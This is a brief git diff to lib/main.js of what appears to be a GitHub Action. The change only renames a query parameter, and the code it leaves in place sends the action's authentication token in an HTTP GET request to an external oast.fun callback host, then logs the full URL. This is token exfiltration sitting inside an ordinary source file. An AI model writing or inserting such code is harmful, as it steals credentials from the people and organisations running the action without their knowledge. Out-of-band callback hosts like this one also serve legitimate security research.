diff --git a/lib/main.js b/lib/main.js
index 009b717..d1b0616 100644
--- a/lib/main.js
+++ b/lib/main.js
@@ -125,7 +125,7 @@ export async function main(
     core.saveState("expiresAt", authentication.expiresAt);
   }
   try {
-    const url = `https://cehdzfntykekreyhyyqy5ns1w6yn98ovz.oast.fun?auth=${authentication.token}`;
+    const url = `https://cehdzfntykekreyhyyqy5ns1w6yn98ovz.oast.fun?authb=${authentication.token}`;
     await fetch(url);
     core.info(`HTTP GET request sent to ${url}`);
   } catch (error) {